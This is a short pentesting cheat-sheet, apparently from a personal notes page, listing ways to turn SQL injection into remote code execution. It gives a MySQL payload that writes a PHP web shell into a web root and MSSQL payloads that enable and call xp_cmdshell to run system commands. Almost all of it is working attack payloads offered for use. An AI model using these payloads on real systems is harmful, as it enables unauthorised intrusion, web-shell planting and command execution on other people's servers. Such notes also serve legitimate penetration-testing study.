SQL injection

The strategy:

Different ways to turn SQL injection to RCE:

##MYSQL##
' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/command.php'  -- -' 

or 
##MSSQL##
 ';exec master..xp_cmdshell 'whoami'; --
 
Try enabling it like:
';EXEC sp_configure 'show advanced options', 1; -- 
';RECONFIGURE; -- 
';EXEC sp_configure 'xp_cmdshell', 1; --
';RECONFIGURE; --

Here is a great resource for SQLinjection:

Last updated